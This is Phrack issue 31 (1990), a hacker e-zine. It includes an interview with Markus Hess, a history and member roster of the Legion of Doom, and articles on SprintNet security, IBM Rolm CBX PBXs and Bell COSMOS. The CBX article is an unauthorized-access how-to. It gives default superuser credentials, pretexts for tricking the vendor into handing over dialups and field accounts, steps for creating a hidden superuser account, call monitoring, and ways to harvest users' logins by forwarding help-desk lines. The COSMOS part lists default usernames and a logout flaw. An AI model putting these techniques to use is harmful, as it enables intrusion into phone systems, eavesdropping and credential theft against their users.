

==Phrack Inc.==  
Volume Three, Issue Thirty-one, Phile #1 of 9  
Issue XXXI Index

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P H R A C K    3 1  
05/28\90

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Welcome to a new begining of Phrack Inc. Yes, Phrack is not dead.

On the contrary, Phrack will and can't ever die. Phrack is more than just a technical newsletter that comes out every now and then, it's a symbol of our hacking history. Whether, it's called Phrack or some other name, it will always be published for the same reasons:

1. Inform it's readers of current events and other related items of hacker interest.
2. Educate it's readers on all topics of shared common interests that may benefit the hacker at his hobby.
3. Remain an authority in the hacking world and an observer in the ever growing technical community.
4. Be open to anyone who wishes to submit an article for publication that will further the hacker's education.

Many things have happened since the last publication of Phrack. We at Phrack inc. will try to "shed some light" on the matters that have occured. And as for all these ridiculous rumors that have been spreading, let us speak the truth and be heard.

Hah. No my friends, Phrack is not dead..

--DH (Editor)

Note: If you wish to contact Phrack inc. to submit a file, ask around for a Phrack inc. distribution site -- Then Email "Phrack inc." and be very very patient.

Note: Special thanks to T C, Phz, and others for wide area distribution.

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==Phrack Inc.==

Volume Three, Issue Thirty-one, Phile #2 of 10

-\*[ P H R A C K # 3 1 P R O P H I L E ]\*-

-\*[ June 1, 1990 ]\*-

-\*[Phz]\*-

---[ Markus Hess ]---

Recently the Phrack editors had the opportunity to talk to Markus Hess in his tiny Hannover flat. This special edition of the Phrack Prophile details our conversation, as well as general background information about the German Hacker.

This Phrack Prophile is not in the same format as previous ones because of the nature of the profile. In the next issue, we will reform back to the original creator's format.

AGE: 26

HEIGHT: 5' 10"

HAIR COLOR: BROWN

EYES: BROWN

FROM: Hannover, West Germany

PAST EMPLOYMENT: Software developer in Hannover.

PEOPLE: Stephen Winero, Walu Holland (Other CCC members)

STRENGTHS: AT&T Unix, VAX, SunOs and BSD os's

Hess, most well known as the hacker who's exploits are detailed in Clifford Stoll's The\_Cuckoo's\_Egg, "is as paranoid on the telephone as he is on the computer." Although he was very reluctant to talk to us, we did manage to talk to him about hacking and The\_Cuckoo's\_Egg.  
Ringing Hanover..

RING

RING

RING

ANSWERED

HESS: Hallo?

PHRACK: Is this Markus Hess?

HESS: Yes.

PHRACK: Do you smoke Benson & Hedges?

(At this point we weren't sure it was actually him)

HESS: Yes, who is this?

PHRACK: We are calling from the USA, we want to ask you some questions.

We talk to hackers in the USA.

HESS: I won't have anything to do with hackers anymore. I have talked in court earlier this year.

PHRACK: Did you know you were in a novel about a hacker in the US?

HESS: Novel? Yes, I know of a novel.

PHRACK: Have you read the book?

HESS: Yes I have read the book.

PHRACK: Is it all true? Is it all true? Do you think Cliff lied or tried to exaggerate in the book?

HESS: Yes, I think so.

HESS: Yes, He lied.

PHRACK: Have you ever talked to Stoll?

HESS: I have talked to him, but not privately. I don't want to talk about this.

PHRACK: Have you ever seen Cliff Stoll?

HESS: Yes I have seen him.

(We might think this from the back of the book)

PHRACK: He's goofy looking isn't he?

HESS: goofy? I don't understand.

PHRACK: Anyway, so you think he lied in the book?

HESS: Yes, he lied.

PHRACK: What did he lie about?

HESS: I don't want to talk about this.

PHRACK: Okay, are you in the Chaos Computer Club?

HESS: No, I won't have anything to do with hackers any more.

PHRACK: Were you ever involved with them?

HESS: No. I was not in it.

PHRACK: Do you know anyone in it [the CCC]?

HESS: Yes. I really must go now.

PHRACK: Who do you know in it [the CCC]?

HESS: Stephen Winero.  
PHRACK: Is that it?  
HESS: I know Walu.  
PHRACK: Hmm. Are you being watched?  
HESS: I think so. I can not talk about this.  
PHRACK: Were you scared of going to jail?  
HESS: jail?  
PHRACK: Prison, were you scared of going to prison?  
HESS: I don't know.  
PHRACK: What happened in your words at court?  
HESS: In your words? I don't understand.  
PHRACK: What happened in court?  
HESS: I don't understand.  
PHRACK: Forget it.  
PHRACK: Do you still have your computer?  
HESS: No. I don't have any computer here.  
PHRACK: Did you think they were going to catch you?  
HESS: No. I knew nothing of it.  
PHRACK: Has any other hackers tried to contact you in the U.S.?  
HESS: No. You are the first to call.  
PHRACK: So is it my understanding that Stoll lied in parts of the book?  
HESS: Lied? Yes he lied.  
PHRACK: Why do you think he would lie?  
HESS: I don't know.  
PHRACK: Do you think he made you look destructive?  
HESS: Yes. He made me look mean.  
PHRACK: Are you? Mean that is?  
(Chuckle)  
HESS: No. He made me look like I was a criminal.  
PHRACK: Why did you do it Markus?  
HESS: Do what?  
PHRACK: Hack all over the network like that?  
HESS: I cannot answer.  
PHRACK: Do they call you a liar in court?  
HESS: Yes. They call me a liar.  
PHRACK: What are you going to do now?  
HESS: I don't understand.  
PHRACK: Are you finished with hacking?  
HESS: Yes, I have nothing to do with hackers.  
PHRACK: Was someone helping you hack?  
HESS: I cannot answer.  
PHRACK: How come you cannot answer that question?  
HESS: I cannot.  
PHRACK: Yes, well, Many in the U.S. [hackers] don't like the Novel.  
PHRACK: What do you think of it?  
HESS: It is not true.  
HESS: I don't know.  
PHRACK: Who taught you the EMACS hole?  
HESS: I cannot say.  
PHRACK: Then you must have been working with someone, correct?  
HESS: No, I cannot answer.  
PHRACK: Is the police comming down on you hard?  
HESS: police? I don't und...  
PHRACK: Yeah, yeah. The law? Are they being hard on you.  
HESS: Yes.  
<SILENCE>  
HESS: I must go now.  
PHRACK: Can we call you later?  
HESS: Umm, I don't know. No.  
PHRACK: Why not?  
HESS: I cannot answer.  
PHRACK: What about in a couple of months?  
HESS: Yes, in a couple of months you can call.  
PHRACK: Your not moving are you?  
(Knowing that Germans rarely ever move and their phone numbers never change this was a silly Q.)  
HESS: No. I no move.  
PHRACK: Okay, then we'll call you in a couple of months.

HESS: Okay. I must go.

PHRACK: Wait a second.

HESS: Yes?

PHRACK: Do you have anything to say to American Hackers?

HESS: No.

HESS: I have nothing to do with hackers.

PHRACK: Well, good luck.

HESS: Yes, you too.

<CLICK>

Unfortunately, our lack of German and Hess' weak English made communication difficult. He is a very paranoid person who was obviously uncomfortable talking to us.

Those of you that have read Stoll's book know that Hess was involved with hacks on American Military Computers, and indirectly involved with Computer Espionage and the KGB. Phrack strongly discourages trying to hack Military computers and particularly takes offense to computer espionage.

From the information we have gathered from him and by talking to him, we feel that Markus Hess wasn't as smart as Clifford Stoll portrayed him to be. We also feel that Markus was not working alone and that others were involved. This however we cannot be 100% sure because of our communication faults.

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          ===Phrack Inc.===
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/  *                                                                    *  \
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/          Hacking Rolm's CBXII/9000                                \
\          by DH                                                    /
/          05/24/90                                                \
\  *                                                                    *  /
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## Introduction

IBM Rolm's CBXII/9000 is a very powerful machine. Powerful in the aspect that one has the switch(s) at his control. Controlling switches means you can control the entire PBX environment (And it's users).

This file will not get technical. Basically, I'm writing this file on the HOW-TO's of the internal works of CBXII and the basics of obtaining the dialups and account information need to access the machines. For further information on CBX's in general, read Epsilon's Phrack Phile on them, or consult Evil Jay's phile on OSL's.

## Obtaining Dialups

Obtaining dialups unfortunately is the hardest part of hacking CBXII's. (Yes, even harder than hacking them). There are several ways to obtain the dialups. I would say a good bit of CBX's are at universities and hospitals where they own their own switches. Most of the time you can determine if they have one by calling the Telecommunications Department of the target location. Or, another way is to check with ROLM. If you \*KNOW\* that a target location has a CBXxx machine, you can call ROLM's 800 wats line and say your with the Telecommunications Department and your looking for the DIALUP. Rolm has files on all their CBXxx's and the Dialups also. They might ask you for a NODE # for the dialup, and you should usually respond with what node you want (Since different nodes handle different areas of the PBX). Basically, nodes start at ONE and usually goto THREE or FOUR, depending on the size of the PBX.

CBXxx's are greatly compatible of IBM Rolm's Phone-Mail system (Which is a highly used and common voice mail system). This of course doesn't mean that every PHM (Phone-Mail) system has a CBXxx attached. But it is generally a good start.

The following is a checklist to determine if the target location could have a CBXxx for controlling their switch. By no means however, if your target location has all of the following it could have a CBXxx.

- 1) Does the location handle it's own switch?

If so, what kind, and who services it.

- 2) Does IBM Rolm handle any aspect of their telecommunications department?

If so, this is a possible CBXxx location.

- 3) Does the location have Rolm Phone-Mail?

These three guidelines are not requirements. I.E. -- The location could have a non-IBM PBX but still have a CBXxx for handling the switch. So who knows.. It's up to you and your bullshitting and scans.

## Hacking the CBXxx's

Well, once you have obtained the dial-ups, you are almost halfway there. Hacking the CBX is the easy part. 1st off, IBM Rolm ships \*ALL\* of their machines with a default account (Yes, and they never change it). When the destination of the CBX recieves the machine, they use the default to create other accounts for employees, PBX operators, and administration. Rolm IBM also has a field support account embedded in the machine. These are different to each location and correspond to the serial number of the machine (Rolm's accounts can be obtained from Rolm's 800 technical support line). So, now that we know that there is a default account that telecom department uses to setup the other accounts after they recieve the machine, tells us that this is a priviledge account. And it is.

```
USERNAME: SU
```

```
PASSWORD: SUPER
```

How nice for them to give us such power. Yes, it's a basic default

with SuperUser privilege. If for some reason the account default has been changed, their are other ways of getting in:

- 1) Call Rolm and get the Field account information.
- 2) Try first names of Telecom Dept. employees, and PBX Operators.
- 3) Use every Hacking skills you have (If any).

Some older versions of CBX don't even require logging in with an account. Those versions are less responsive to the administrators needs, but can be useful to one also. Don't be discouraged if the SU password is changed, just call Rolm and get the field account.

The following is the matrix before one access the machine. \*Note that it clearly identifies\* \*Also: Accessible at 300 baud and e,7,1\*

```
CONNECT ID banner
      _Release version # /
    /_/\
Rolm CBXII  RELEASE 9004.0.65 RB74UCLA11956
BIND DATE: 8/SEP/88
YOU HAVE ENTERED NODE 1, CPU 2 \_Name of owner, IE: UCLA
11:14:30 ON FRIDAY 2/11/1990 (System ID)
USERNAME: xxx
PASSWORD: xxx
INVALID USERNAME-PASSWORD PAIR.
```

Once your in

---- ---- --

Once your in, you should have no problems wondering around the machine and using the utilities in the machine's operating system. There is very specific help functions inside the machine that will guide you through with no problems. At the CBX prompt:

%. HELP ?

or

%. ?

Should produce a valid listing of options and sub-functions. Every function can be followed with a '?' to give lists of valid sub-functions under that function or how the syntax of that function should be used.

The following is a listing of commands for CBXII/9000:

ABORT	ACTIVATE	ATTR	BYE
CANCEL	CARD	CDRSM	CDT
CHANGE	CHG	CLEAR	CLR
CMPCT	CMSTS	CNCL	CNFG
CONVERT	COPY	CPEG	CTMON
CTRA	CTRRL	CXCLR	COPY
CXCLR	CXCON	CXNET	DACK
DADD	DAEVT	DANS	DBDMP
DCAT	DCF	DCOM	DDMA
DDQ	DDT	DE	DEACTIVATE
DEFINE	DELETE	DEMOUNT	DESUM
DEX	DFACK	DFCOM	DFEAT
DFEVT	DHTQ	DHWS	DIAG
DIQ	DISABLE	DIWQ	DKQ
DML	DMNT	DMS	DMTST
DOWN	DPATR	DPMR	DPMS
DPPRI	DPTR	DQQ	DRCT
DREGS	DSBLE	DSQ	DSST
DSTAK	DTCB	DTDQ	DWQ
DX_TR	ENABLE	ENB	ENBLE
ETIO	EX	EXM	EXN
EXP	EXPAND	FINIT	FORMAT
FREER	FSD	GTOD	HDBST
HELP	INSTALL	KPFA	LCT
LIST	LOAD	LOGOFF	LOGON
LPEG	LPKT	LSCT	LSL
LST	LTCB	MNT	MONITOR
MOUNT	MTRACE	NEXT	NSTAT
PAGE	PCNFG	PDIO	PFA
PKTS	PLIST	PLTT	PPFA
PS	PSH	QAT	QITM
QTEST	RCT	RECEIVE	RENAME
REPLY	RESTART	RESTORE	REVERSE

RM	RMOFF	RPFA	RSC
RSCLK	RSTOR	RSTRT	SAT
SCAN	SEND	SET	SHOW
SITM	SOCON	SOUNC	SSAT
START	STATE	STATUS	STEST
STOD	STOP	STRT	STS
TDCD	TEST	TKSTS	TRTL
TST	TX	UNLK	UNLOCK
UP	VERIFY	XDEF	XMIT
XPND			

These commands can be executed from and '%' prompt. If the command is followed by a '?', more information will be supplied about the command.

Using the ICI

-----

The Interactive Configuration Interface controls immediate changes in the switch and PBX environment. The Utility is explained in great detail through the actual running of it. You can access the ICI by typing:

% CNFG

CBXII/9000

INTERACTIVE CONFIGURATION INTERFACE

CPU 2

15:14:32 ON FRIDAY 5/02/1990

COMMAND:

This is the main command prompt. From here you can exercise the '?' help list to get valid commands. There are four phases of the ICI utility: Modify, Create, List, and Delete. These can be used on Extensions, Trunks, Logon accounts, Feature Group sequences, Data\_line access, Trunk Groups, ect. The following is a sample of using 'list' to list a current extension in the PBX:

```

COMMAND: LIST EXT 4038
                                     _Forward to EXTN 2000
                                     /
                                     FORWARD ON / _Outside number
                                     /         to forward to
EXTN  TYPE  COS  FORWARDING  BSY RNA DND  /  RINGDOWN  NAME
-----
DS 4038  EXTN  56    2000          1 1 1 1 1 1 95551212  R.STABELL
 \      \      \      /      /      \      /      \
Extention / -Class of service if R Auto. Forward Owner of
--Type of line BUSY I No Matter What EXTN.
(Reg. Extention)
                                     N
                                     G

```

Note: The 1's specifies to forward to target#1 & NO ANSWER  
(As 2's would mean forward to #2 target)

This should detail how to modify a listing like above using the 'MODIFY' command in the ICI. Once modified, all transactions are processed immediately. Using the 'Delete' command one can delete extensions, trunks, ect.

So now we have the following commands in ICI: MODIFY, DELETE, LIST, CREATE. Each can be used with the following "Nouns" to modify that "Noun":

BUTTON_120	BUTTON_240	CDR_EXCLUDE	CNFG_ERRORS
CNFG_QUEUE	CNFG_STATUS	CNFG_USERS	COM_GROUP
COS_FEAT	DATA_ACCESS	DATA_DEVICE	DATA_GROUP
DATA_LINE	DATA_SUBMUX	DLI	ETS
EXTEN	FAC	FAC_TYPE	FAMILY
FEAT_CODE	FIRST_DIGIT	HD_GROUP	LEX
LOGON_PROFILE	MAP	MEM_PARTS	PARAM
PICK	POWER	Q_TYPE	ROUTE_LIST
RP	RPD	RPI	RPS_120S_ON
RPS_240S_ON	SAT_NAME	SEARCH_SEQ	SECTION
SECURITY_GROUP	SERVICE_LIST	SIO_PARTS	SLI
SPEED	T1D3	T1D3_GRP	TRUNK
TRUNK_GROUP	VPC		

The FAMILY, LOGON\_PROFILE, and CNFG\_USER all deal with the accounts on the system. One can use MODFIY or CREATE to set them up an account with SU access. The FAMILY noun is the listing of the groups with different access, to different "nouns" available. I.E.: Not everyone can access the CHANGE LOGON\_PROFILE to create an account.

To create an account with SU access, type (while in ICI):

% CREATE LOGON\_PROFILE

ENTER NAME (1-12 CHAR): TEST  
 ENTER PASSWORD: TEST  
 RETYPE: TEST

Next it will ask you for a family. For SU access, type "SYSTEM\_ADMIN". After family, the machine should prompt you for a "verb". Verbs are the actual functions or commands, so in this environment you can set the commands a user can access. So, for SU, enter "ALL" for every command access.

To get a valid listing of users online, try this:

% LIST CNFG\_USERS

NUMBER OF USERS	MAX NUMBER OF USERS		
3	5		
PORT	USER_NAME	START_TIME	HOW_LONG
17	SU	17:47:57	0:28:34
2	FIELD	18:16:03	0:0:28
3	MARYB	18:16:03	0:10:03

Using the Monitoring Utility

-----  
 This command is one of the more powerful commands in the CBXxx system. The monitor command should be invoked from within the main function command level and not in the ICI level. The monitoring command allows you to actually watch or monitor TRUNKS and EXTENTIONS. So, if I were to type:

% MONITOR EXT 4038

10:02:43 ON FRIDAY MAY/02/1990

EXT#	STATE	DI	CODE	DIGITS	PROCESS	STATUS
4038	IDLE				STN FWD NUM FWD	
\	\				/ / /	\
Extention	Not in use				Standard Extention	Forwarded
					Forwarded to a number	

This shows the extention to be IDLE and not in use. But, with forwarded call processes to a standard number. You would have to use ICI to look up the number it's forwarded to if you wanted.

% MONITOR EXT 4038

10:03:44 ON FRIDAY MAY/11/1990

EXT#	STATE	DI	CODE	DIGITS	PROCESS	STATUS
4038	DIAL TONE				STN FWD NUM FWD	
4038	DIALING	Y		9	/ \ \	\
4038	DIALING	Y		92	S F N	\Extention
4038	DIALING	Y		923	t o u	Forwarded
4038	DIALING	Y		9233	a N r m	
4038	DIALING	Y		92334	n u w b	
4038	DIALING	Y		923345	d m a e	
4038	DIALING	Y		9233456	a b r r	
4038	DIALING	Y		92334564	r e d	
4038	CONN T025N	N			d r e	d
/	\	/			/ \ \	\
\_Extention	\	\_Dialing NO		\_Number dialed		
	Connected to					
	Outside trunk T025N					

This monitoring shows the extention actually dialing the number, and then connecting to an outside truck. Unfortunately, one we cannot monitor without access to a bell switch.

Monitoring can also be done with trunks. I will not display any trunk monitoring since it is quite simple to decypher. Manipulating the switch

-----  
 There are many ways you can manipulate the CBX's to gain accounting information on data lines within the PBX environment. One sure-fire method would be to forward an actual data dial-up extention to a bridge or loop and then write an emulation to intercept the user's account information real-time as they connect to your fake dial-up.

Or perhaps if an university uses the CBX, one could maybe forward the computer help desk extention to a bridge or loop and as an unsuspecting user



calls up, ask him what machine and account info he has access to for a help log sheet you are taking.

Who cares. Who knows. There are thousands of things you can do to use the CBX to your advantage. Hell, you have the whole switch at your command.  
DH - 05/11/90

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==Phrack Inc.==

Volume Three, Issue Thirty-one, Phile #4 of 10

/ Everything you always wanted to know.. \

/ about Telenet Security, But were to stupid to find out. \

By Phreak\_Accident

Ever since the early 80's GTE Telenet has been expanding their public packet switching system to hold enormous amounts of users. Currently GTE SprintNet (Yes, Telenet is out, SprintNet is in.) has over 300 nodes in the United States and over 70 other nodes abroad. SprintNet provides private X.25 networks for larger companies that may have the need. These private networks are all based on SprintNet's 3270 Dedicated Access Facility which is currently operating for public use, Hence for the major security SprintNet has acquired.

SprintNet's security department is a common idea of what any large public packet network should be. With their home office located in Virginia (703), most Hacker's who run into trouble with them would wind up talking to Steve Mathews (Not the head of security but a prime force against the major attacks Sprintnet recieves from Hackers anually.), who is a very intelligible security analysist that deals with this type of problem daily.

Because of Steve's awariness on Hackers invading "His" system (As most security personnel refer to the system's they work for as their own.), He often does log into Bulletin Boards accross the country looking for SprintNet related contraband. At the time of this article, Steve is running an investigation on "Dr. Dissector's" NUAA program. (NUA attacker is a SprintNet NUA scanner.) Besides this investigation, he currently stays in contact with many Hackers in the United States and Abroad. It seems Steve recieves many calls a month from selected Hackers that have interests in the Security of SprintNet. Wow. Who the Hell would want to call this guy. From many observations of Steve Mathews, I find him to in deed be the type to feel a bit scared of Hackers. Of course, his fright is really quite common among security personnel since most fear for their systems as well as themselves. (Past experiences have showed them not to take Hackers lightly, Hence they have more contacts then 60 rolodex's put together.)

For now, let's forget Steve Mathews. He's not important an important influence in this article. Trying to pin a one-person in a security department that handles security is like finding a someone on a pirate board that doesn't use the word "CODE" in their daily vocabulary.

Telenet's main form of security lies in their security software called TAMS (Telenet Access Manager System). The TAMS computers are located in Reston, Virginia but are accessible throughout the network. Mostly, the main functions of TAMS are to:

- \* Check to see if the NUI/Password entered is a valid one.
- \* Check to see if the Host has list of NUI's that can access that host. If another NUI is used, a Rejection occurs.
- \* Processes SprintNet's CDR (Call Detail Recording), which includes Source and Destination, Time of call, Volumes of data recieved, and the Total time of the call.
- \* Can be used by host to add an optional "ALPHA" NUA for "easy" access.
- \* Can secure Hosts further by adding an NUA security password.
- \* Restricts calls without an NUI for billing (I.E. No collect calls to be processed).
- \* Accepts all calls to host as a prepaid call (I.E. Accepts all calls).

TAMS is really for the handling of NUI and corresponding NUA's, therefore being a security concept. TAMS holds all the data of NUI's and restricting NUAS for the ENTIRE network. If one could gain the access to TAMS, one could have the entire network at his/her disposal. This of course is highly impossible to SprintNet's security department, but not for a couple of hackers I have ran into. Yes, TAMS is quite interesting.

In other aspects of SprintNet security, lets focus on the actual X.25 software that they use. Anybody who tells you that Telenet can monitor the sessions currently taking place on THEIR network is WRONG (And probably very stupid as well). Monitoring is a basic feature of all X.25 networks, whether it's a little PeeShooter network or not, they can and do monitor sessions.

Of course their are far to many calls being placed on SprintNet to be monitored, but a scared host can always request a full CDR to be put on their address to record all sessions comming in on that NUA. Such as the many re-

corded sessions of the ALTOS chat(s) in Germany that was a hot-spot for many Hackers across the United States and Abroad. After the detection of ALTOS, through the hundreds of illegally used NUIs, CDR's and direct host monitoring were used on the ALTOS hosts. As far as prosecutions concern, I doubt their were any.

Now, as far as other security software on SprintNet, they have a call tracking service that is called AUTOTRAIL. Basically, AUTOTRAIL traces the connections through the DNIC's and back to the originating NUI and/or NODE location that placed the call.

AUTOTRAIL has nothing to do with ANI. Not at all. In fact, the many dialups that lead into SprintNet's PDM gateway do NOT have any type of ANI. That is basically a telephony problem. Although I would think twice about messing with a dialup that is run on a GTE carrier. That's up to you though.

Another aspect of security in which Telenet offers is an ASCII tape that can be obtained by a host customer, which contains all CDR information of any connection to that host for the last week/month/year. So, it is obvious to say that SprintNet does have a hudge database of all CDRs. Yes, another point: This database is located in the TAMS computer. Hmm, ahh.. Wouldn't that be neat.

:PA

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==Phrack Inc.==

Volume Three, Issue Thirty-one, Phile #5 of 10

## The History of The Legion Of Doom

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During the summer of 1984 an idea was formulated that would ultimately change the face of the computer underground forever. This particular summer, a huge surge of interest in computer telecommunications placed an incredibly large number of new enthusiasts on the national computer scene. This crowd of people all seeking to learn as much as possible began to put a strain on the nation's bulletin board scene, as the novices stormed the phonelines in search of knowledge. From out of this chaos came a need for learned instructors to help pass on their store of information to the new throngs.

One of the most popular bulletin boards of the day was a system in New York state called Plovernet, which was run by a person who called himself Quasi-Moto. This BBS was so heavily trafficked, that a major long distance company began blocking all calls to its number (516-935-2481). The co-sysop of Plovernet was a person known as Lex Luthor. At the time there were a few hacking groups in existence, such as Fargo-4A and Knights of Shadow. Lex was admitted into KOS in early 1984, but after making a few suggestions about new members, and having them rejected, Lex decided to put up an invitation only BBS and to start forming a new group.

Starting around May of 1984, Lex began to contact those people who he had seen on BBSes such as Plovernet and the people that he knew personally who possessed the kind of superior knowledge that the group he envisioned should have. Many phone calls and Alliance Teleconferences later, the group of individuals who made up the original Legion of Doom were compiled. They were:

- Lex Luthor
- Karl Marx
- Mark Tabas
- Agrajag the Prolonged
- King Blotto
- Blue Archer
- EBA
- The Dragyn
- Unknown Soldier

The group originally consisted of two parts: Legion of Doom, and Legion of Hackers. The latter was a sub-group of the first, comprised of people who were more advanced in computer related subjects. Later on, as members began to all become more computer-based, the Legion of Hackers was absolved. (The name "Legion of Doom" came from the cartoon series "Superfriends," in which Lex Luthor, Superman's arch rival, led a group by the same name)

The actual Legion of Doom bulletin board was quite ahead of its time. It was one of the first "Invitation-only" hacking based BBSes; it was the first BBS with security that caused the system to remain idle until a primary password was entered; and it was the first hacking BBS to deal with many subjects in close detail, such as trashing and social engineering. The BBS underwent three number changes and three different login procedures during its life. At its height, the BBS had over 150 users and averaged about 15 posts per day. This may seem high when compared to contemporary BBSes, but this was a private system, with only very-competent users, so the quality of messages content was always high.

There was always some confusion that falsely assumed since someone was on the LOD BBS, that they were a member of the group. In fact, only a handful of the total LOD membership were ever on the actual LOD BBS.

The Legion of Doom also had special subboards created for its members on other BBSes after the home base BBS went offline. The first was on Blottoland, the next on Catch-22, followed by one on the Phoenix Project, and the last on Black Ice Private. The group's members have usually tried to keep a low profile publicly, and usually limited their trade of information to select private BBSes and personal telephone conversations. This adherence to privacy has always added to the LOD mystique. Since most people didn't know exactly what the group was involved in, or experimenting with, people

always assumed that it was something far too detailed or sensitive to be discussed. For the most part, this was not true, but it did not help to diminish the paranoia of security personnel that LOD was after their company's systems.

The group has undergone three distinct phases, each a result of membership changes. The first phase ended with the busts of Marx, Tabas, Steve Dahl, Randy Smith, X-man, and the abandonment by Agrajag and King Blotto.

The group lay semi-dormant for several months, until a resurgence in the summer of 1986, in which several new members were admitted, and a new surge of would-be hackers appeared, ready to be tutored. This phase again ended in a series of busts and paranoia. The third phase basically revolved around Summercon of 1988, where several new members were admitted by those LOD members attending the festivities. The third phase is now at an end brought on by busts and related paranoia, again, two years after its onset. There is no indication that points to any resurgence in the future, but nothing is certain until summer.

Since its creation, LOD has tried to put out informative files on a wide variety of topics of interest to its contemporaries. These files ranged from the first actual scanned directory of Telenet, to files on various operating systems. The LOD Technical Journal was to be a semi-regular electronic magazine comprised of such files, and other items of interest to the hacking community. Only three issues of the Technical Journal were produced. As the fourth issue was being pieced together, several members were raided, and work on it was abandoned.

>From the time it was formed continuing up to the present, the Legion of Doom has been quite a topic of controversy in the computer underground and with computer security professionals. The Legion of Doom has been called everything from "Organized Crime" to "a Communist threat to national security" to "an international conspiracy of computer terrorists bent on destroying the nation's 911 service." Nothing comes closer to the actual truth than "bored adolescents with too much spare time."

LOD members may have entered into systems numbering in the tens of thousands, they may have peeped into credit histories, they may have monitored telephone calls, they may have snooped into files and buffered interesting text, they may still have total control over entire computer networks; but, what damage have they done? None, with the exception of unpaid use of CPU time and network access charges. What personal gains have any members made? None, with the exception of three instances of credit fraud that were instigated by three separate greedy individuals, without group knowledge.

The Legion of Doom will long be remembered in the computer underground as an innovative and pioneering force, that consistently raised the collective level of knowledge, and provided many answers to questions ranging from the workings of the telephone system to the structure of computer operating systems. No other group dedicated to the pursuit of computer and telecommunications knowledge has survived longer, and none probably will. The Legion of Doom 1984--1990

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Alumni of the Fraternal Order of the Legion of Doom (Lambda Omega Delta)

Handle	Entered	Exited	Location	Reasons for leaving
Lex Luthor	Early 84--		Florida	
Karl Marx	Early 84--Late	85	Colorado	Bust w/Tabas..College
Mark Tabas	Early 84--Late	85	Colorado	Too numerous to list
Agrajag the Prolonged	Early-84--Late	85	California	Loss of Interest
King Blotto	Early 84--Late	85	Ohio	College
Blue Archer	Early 84--Late	87	Texas	College
EBA	Early 84--	Texas		
The Dragyn	Early 84--Late	86	Minnesota	Loss of Interest
Unknown Soldier	Early 84--Early	85	Florida	Bust-Toll Fraud
Sharp Razor	Late 84--Early	86	New Jersey	Bust-Compuserve Abuse
Sir Francis Drake	Late 84--Early	86	California	Loss of Interest
Paul Muad'dib	Late 84--Early	86	New York	Modem Broke
Phucked Agent 04	Late 84--Late	87	California	College
X-Man	Late 84--Mid	85	New York	Bust-Blue Boxing
Randy Smith	Late 84--Mid	85	Missouri	Bust-Credit Fraud
Steve Dahl	Early 85--Early	86	Illinois	Bust-Credit Fraud

The Warlock	Early 85--Early 86	Florida	Loss of Interest
Terminal Man	Early 85--Late 85	Massachusetts	Expelled from Group
Dr. Who	Early 85--Late 89	Massachusetts	Several Reasons
The Videosmith	Early 86--Late 87	Pennsylvania	Paranoia
Kerrang Kahn	Early 86--Mid 89	London, UK	Loss of Interest
Gary Seven	Early 86--Mid 88	Florida	Loss of Interest
The Marauder	Early 86--Mid 89	Connecticut	Loss of Interest
Silver Spy	Late 86--Late 87	Massachusetts	College
Bill from RNOC	Early 87--Late 87	New York	Bust-Hacking
The Leftist	Mid 87--Late 89	Georgia	Bust-Hacking
Phantom Phreaker	Mid 87--	Illinois	
Doom Prophet	Mid 87--	Illinois	
Jester Sluggo	Mid 87--	North Dakota	
Carrier Culprit	Mid 87--Mid 88	Pennsylvania	Loss of Interest
Master of Impact	Mid 87--Mid 88	California	Loss of Interest
Thomas Covenant	Early 88--Early 90	New York	Bust-Hacking
The Mentor	Mid 88--Early 90	Texas	Retired
Necron 99	Mid 88--Late 89	Georgia	Bust-Hacking
Control C	Mid 88--Early 90	Michigan	
Prime Suspect	Mid 88--	New York	
The Prophet	Mid 88--Late 89	Georgia	Bust-Hacking
Phiber Optik	Early 89--Early 90	New York	Bust-Hacking
** AKA **			
Randy Smith	Poof!		
Dr. Who	Skinny Puppy		
Kerrang Kahn	Red Eye		
Phantom Phreaker	ANI Failure / Psychedelic Ranger		
Doom Prophet	Trouble Verify		
Thomas Covenant	Sigmund Fraud / Pumpkin Pete		
Necron 99	The Urvile		
Control C	Phase Jitter		

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==Phrack Inc.==

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***          T  HHH EEE          ***
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BY

ERIK BLOODAXE

## PRELUDE

In the past, many files have been written about COSMOS. I have always been rather disappointed in their quality and in their presentation, so I have taken on the responsibility of doing one myself. This should sum up COSMOS for everyone who reads it. It contains formats for very useful commands, an entire transaction list, COSMOS "tricks", and a list of all COSMOS abbreviations and their formats.

## INTRODUCTION

Bell Labs COnputer System for Mainframe Operations (COSMOS) is basically just a database for maintaining records of equipment and other line information and generating reports on that information. The system is usually set up on a DEC PDP 11/45 or 11/70.

The main responsibilities of the COSMOS system are:

- Maintaining records
- Issuing reports
- Processing service and work orders
- Assigning telephone numbers
- Load balancing for switching computers
- Output of ESS recent change information

## LOGGING ON

When connecting to COSMOS the system will respond with:

;Login: or LOGIN:

at which point you enter a username. The system will then prompt:

PASSWORD:

at which point you enter the password for that username.

Finally, the system will prompt:

WC?

which asks you to enter the wire center for the exchange you will be using in your work. After successfully completing

the login sequence you will be given the system prompt which will be the two letter id of the wire center you entered and a percent sign: "WC% "

To log off at this or at any point you can type control-y.

One of the major flaws in COSMOS security is that unless a control-y is received the terminal is not logged out, even if the user disconnects. Many times when you connect to COSMOS, you will be dropped right into the "WC% " prompt. This even happens on major BOC packet networks quite often. If you are lucky enough to receive a 'WC#' prompt you have access to the COSNIX shell, and can issue various unix-like commands, like ls, cd, cat, et cetera.

COSMOS usernames are usually issued as two letters corresponding to whatever center will be using that account, and two numbers.

EX: LA01

Using the above example "LA01" there will most probably be numerous "LA" accounts, possibly "LA01" through "LA15" or higher. This is true for most COSMOS usernames. More often than not, all accounts used by the same center will have the same password as well. Some common usernames and their owners are:

ROOT	System Manager
SYS	System Manager
ML	Loop Assignment
LA	Loop Assignment
DN	Main Distributing Frame
IN	Repair Service
RS	Repair Service
CE	LNAC
LK	Account to execute INquiries only
JA	Mizar
WLI	Work Load Indicator

Usernames may vary from BOC to BOC, but these are fairly standard.

#### COSMOS TRANSACTION COMMANDS

COSMOS commands are three letter acronyms. I will explain in depth the commands I have found most useful, and then list the remainder. Remember, do not attempt to learn the formats for COSMOS transactions online. You will probably not figure out correct inputs, and will most likely cause problems for the system manager and yourself. Commands are entered in a specific ways. The command desired is entered at the WC% prompt. A second string of data is entered at the next line which designates the type of transaction desired. This line is prefixed with one of the following four letters:

H - Header Line  
I - In Line  
O - Out Line  
R - Remark Line

